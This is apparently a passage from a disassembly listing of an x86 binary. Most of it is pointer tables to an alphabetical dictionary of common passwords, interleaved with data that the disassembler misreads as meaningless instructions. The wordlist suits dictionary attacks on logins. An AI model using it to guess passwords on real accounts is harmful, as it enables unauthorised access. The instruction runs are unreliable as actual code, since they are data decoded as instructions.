		add	[edx+ebx*8+42h], ah
		add	[edx+ebx*8+42h], bl
		add	[edx+ebx*8+42h], dl
		add	[eax-26h], cl
		inc	edx
		add	[edx+ebx*8], bh
		inc	edx
		add	[eax], dh
		fiadd	dword ptr [edx+0]
		sub	dl, bl
		inc	edx
		add	[edx+ebx*8], bl
		inc	edx
		add	[edx+ebx*8], dl
		inc	edx
		add	[edx+ebx*8], cl
		inc	edx
		add	[edx+ebx*8], al
		inc	edx
		add	ah, bh
		fld	dword ptr [edx+0]
		hlt
; ---------------------------------------------------------------------------
		db 0D9h, 42h, 0
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		db 0D0h, 0D8h
; ---------------------------------------------------------------------------


loc_429B06:				; CODE XREF: ___:00429B2Cj
		inc	edx
		add	ah, al
		fadd	dword ptr [edx+0]
		mov	esp, 0B40042D8h
		fadd	dword ptr [edx+0]
		lodsb
		fadd	dword ptr [edx+0]
		mov	al, ds:980042D8h
		fadd	dword ptr [edx+0]
		mov	eax, ds
		inc	edx
		add	[eax+780042D8h], al
		fadd	dword ptr [edx+0]
		jo	short loc_429B06
		inc	edx
		add	[eax+ebx*8+42h], ah
		add	[eax-28h], bl
		inc	edx
		add	[eax+ebx*8+42h], cl
		add	[eax+ebx*8+42h], al
		add	[eax+ebx*8], bh
		inc	edx
		add	[eax+ebx*8], dh
		inc	edx
		add	[eax+ebx*8], ch
		inc	edx
		add	[eax], ah
		fadd	dword ptr [edx+0]
		sbb	al, bl
		inc	edx
		add	[eax], dl
		fadd	dword ptr [edx+0]
		add	al, 0D8h
		inc	edx
		add	ah, bh
		xlat
		inc	edx
		add	ah, dh
		xlat
		inc	edx
		add	ah, ch
		xlat
		inc	edx
		add	al, ah
		xlat
		inc	edx
		add	al, bl
		xlat
		inc	edx
		add	al, dl
		xlat
		inc	edx
		add	al, cl
		xlat
		inc	edx
		add	al, al
		xlat
		inc	edx
		add	[eax-4FFFBD29h], bh
		xlat
		inc	edx
		add	[eax-5FFFBD29h], ch
		xlat
		inc	edx
		add	[edi+edx*8-2873FFBEh], dl
		inc	edx
		add	[eax+780042D7h], al
		xlat
		inc	edx
		add	[eax-29h], dh
		inc	edx
		add	[eax-29h], ch
		inc	edx
		add	[eax-29h], ah
		inc	edx
		add	[eax-29h], bl
		inc	edx
		add	[edi+edx*8+42h], cl
		add	[eax-29h], al
		inc	edx
		add	[edi+edx*8], dh
		inc	edx
		add	[edi+edx*8], ch
		inc	edx
		add	[edi+edx*8], ah
		inc	edx
		add	[edi+edx*8], bl
		inc	edx
		add	[edi+edx*8], dl
		inc	edx
		add	[edi+edx*8], cl
		inc	edx
		add	[edi+edx*8], al
		inc	edx
		add	ah, bh
		setalc
		inc	edx
		add	ah, dh
		setalc
		inc	edx
		add	ah, ch
		setalc
		inc	edx
		add	ah, ah
		setalc
		inc	edx
		add	ah, bl
		setalc
		inc	edx
		add	ah, dl
		setalc
		inc	edx
		add	ah, cl
		setalc
		inc	edx
		add	ah, al
		setalc
		inc	edx
		add	[esi+edx*8-294FFFBEh], bh
		inc	edx
		add	[eax-5FFFBD2Ah], ch
		setalc
		inc	edx
		add	[eax-6FFFBD2Ah], bl
		setalc
		inc	edx
		add	[eax+7C0042D6h], cl
		setalc
		inc	edx
		add	[esi+edx*8+42h], dh
		add	[esi+edx*8+42h], ch
		add	[esi+edx*8+42h], ah
		add	[esi+edx*8+42h], bl
		add	[esi+edx*8+42h], dl
		add	[esi+edx*8+42h], cl
		add	[esi+edx*8+42h], al
		add	[esi+edx*8], bh
		inc	edx
		add	[eax], dh
		setalc
		inc	edx
		add	[esi+edx*8], ah
		inc	edx
		add	[esi+edx*8], bl
		inc	edx
		add	[esi+edx*8], dl
		inc	edx
		add	[eax], cl
		setalc
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp		; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
; ---------------------------------------------------------------------------
		mov	esp, 0B40042CCh
		int	3		; Trap to Debugger
		inc	edx
		add	[esp+ecx*8-335BFFBEh], ch
		inc	edx
		add	[eax-6FFFBD34h], bl
		int	3		; Trap to Debugger
		inc	edx
		add	[eax-7FFFBD34h], cl
		int	3		; Trap to Debugger
		inc	edx
		add	[eax-34h], bh
		inc	edx
		add	[eax-34h], dh
		inc	edx
		add	[eax-34h], ch
		inc	edx
		add	[esp+ecx*8+42h], bl
		add	[esp+ecx*8+42h], dl
		add	[eax-34h], cl
		inc	edx
		add	[eax-34h], al
		inc	edx
		add	[eax], bh
		int	3		; Trap to Debugger
		inc	edx
		add	[eax], dh
		int	3		; Trap to Debugger
		inc	edx
		add	[eax], ch
		int	3		; Trap to Debugger
		inc	edx
		add	[eax], ah
		int	3		; Trap to Debugger
		inc	edx
		add	[eax], bl
		int	3		; Trap to Debugger
		inc	edx
		add	[eax], dl
		int	3		; Trap to Debugger
		inc	edx
		add	[esp+ecx*8], al
		inc	edx
		add	ah, bh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, dh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, ch
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, ah
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, bl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, dl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, al
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+ecx*8-344BFFBEh], bh
		inc	edx
		add	[ebx+ecx*8-345BFFBEh], ch
		inc	edx
		add	[ebx+ecx*8-346BFFBEh], bl
		inc	edx
		add	[ebx+ecx*8-347FFFBEh], cl
		inc	edx
		add	[eax-35h], bh
		inc	edx
		add	[eax-35h], dh
		inc	edx
		add	[eax-35h], ch
		inc	edx
		add	[eax-35h], ah
		inc	edx
		add	[eax-35h], bl
		inc	edx
		add	[eax-35h], dl
		inc	edx
		add	[eax-35h], cl
		inc	edx
		add	[eax-35h], al
		inc	edx
		add	[eax], bh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], dh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], ch
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], ah
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], bl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+ecx*8], cl
		inc	edx
		add	[ebx+ecx*8], al
		inc	edx
		add	ah, bh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
; ---------------------------------------------------------------------------
		fmul	st(2), st
		inc	edx
		add	ah, dl
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
; ---------------------------------------------------------------------------
		mov	esp, 0B40042CAh
		retf	42h
; ---------------------------------------------------------------------------
		lodsb
		retf	42h
; ---------------------------------------------------------------------------
		movsb
		retf	42h
; ---------------------------------------------------------------------------
		pushf
		retf	42h
; ---------------------------------------------------------------------------
		xchg	eax, esp
		retf	42h
; ---------------------------------------------------------------------------
		mov	edx, cs
		inc	edx
		add	[eax+740042CAh], al
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
; ---------------------------------------------------------------------------
		pop	esp
		retf	42h
; ---------------------------------------------------------------------------
		push	esp
		retf	42h
; ---------------------------------------------------------------------------
		dec	eax
		retf	42h
; ---------------------------------------------------------------------------
		inc	eax
		retf	42h
; ---------------------------------------------------------------------------
		cmp	dl, cl
		inc	edx
		add	[eax], dh
		retf	42h
; ---------------------------------------------------------------------------
		sub	dl, cl
		inc	edx
		add	[eax], ah
		retf	42h
; ---------------------------------------------------------------------------
		sbb	dl, cl
		inc	edx
		add	[eax], dl
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
; ---------------------------------------------------------------------------
		fadd	st(4), st
		inc	edx
		add	ah, dl
		les	eax, [edx+0]
		enter	42C4h, 0
		rol	ah, 42h
		add	[eax-4FFFBD3Ch], bh
		les	eax, [edx+0]
		movsb
		les	eax, [edx+0]
		cwde
		les	eax, [edx+0]
		mov	esp, es
		inc	edx
		add	[esp+eax*8-3B83FFBEh], al
		inc	edx
		add	[esp+eax*8+42h], dh
		add	[eax-3Ch], ch
		inc	edx
		add	[eax-3Ch], ah
		inc	edx
		add	[eax-3Ch], bl
		inc	edx
		add	[esp+eax*8+42h], cl
		add	[esp+eax*8+42h], al
		add	[esp+eax*8], bh
		inc	edx
		add	[esp+eax*8], dh
		inc	edx
		add	[esp+eax*8], ch
		inc	edx
		add	[esp+eax*8], ah
		inc	edx
		add	[esp+eax*8], bl
		inc	edx
		add	[esp+eax*8], dl
		inc	edx
		add	[esp+eax*8], cl
		inc	edx
		add	[esp+eax*8], al
		inc	edx
		add	ah, bh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, dh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, ch
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, bl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, dl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, cl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, al
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+eax*8-3C4BFFBEh], bh
		inc	edx
		add	[ebx+eax*8-3C5BFFBEh], ch
		inc	edx
		add	[ebx+eax*8-3C6BFFBEh], bl
		inc	edx
		add	[eax-7FFFBD3Dh], cl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax-3Dh], bh
		inc	edx
		add	[eax-3Dh], dh
		inc	edx
		add	[ebx+eax*8+42h], ah
		add	[eax-3Dh], bl
		inc	edx
		add	[eax-3Dh], dl
		inc	edx
		add	[eax-3Dh], cl
		inc	edx
		add	[eax-3Dh], al
		inc	edx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], dl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, bh
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
; ---------------------------------------------------------------------------
		fadd	st, st(2)
		inc	edx
		add	al, dl
		retn	42h
; ---------------------------------------------------------------------------
		enter	42C2h, 0
		rol	dl, 42h
		add	[eax-4FFFBD3Eh], bh
		retn	42h
; ---------------------------------------------------------------------------
		movsb
		retn	42h
; ---------------------------------------------------------------------------
		cwde
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aProfile	; "profile"
; ---------------------------------------------------------------------------
		mov	dl, al
		inc	edx
		add	[eax+780042C2h], al
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
; ---------------------------------------------------------------------------
		pop	eax
		retn	42h
; ---------------------------------------------------------------------------
		push	eax
		retn	42h
; ---------------------------------------------------------------------------
		dec	eax
		retn	42h
; ---------------------------------------------------------------------------
		inc	eax
		retn	42h
; ---------------------------------------------------------------------------
		cmp	dl, al
		inc	edx
		add	[eax], dh
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom_0	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
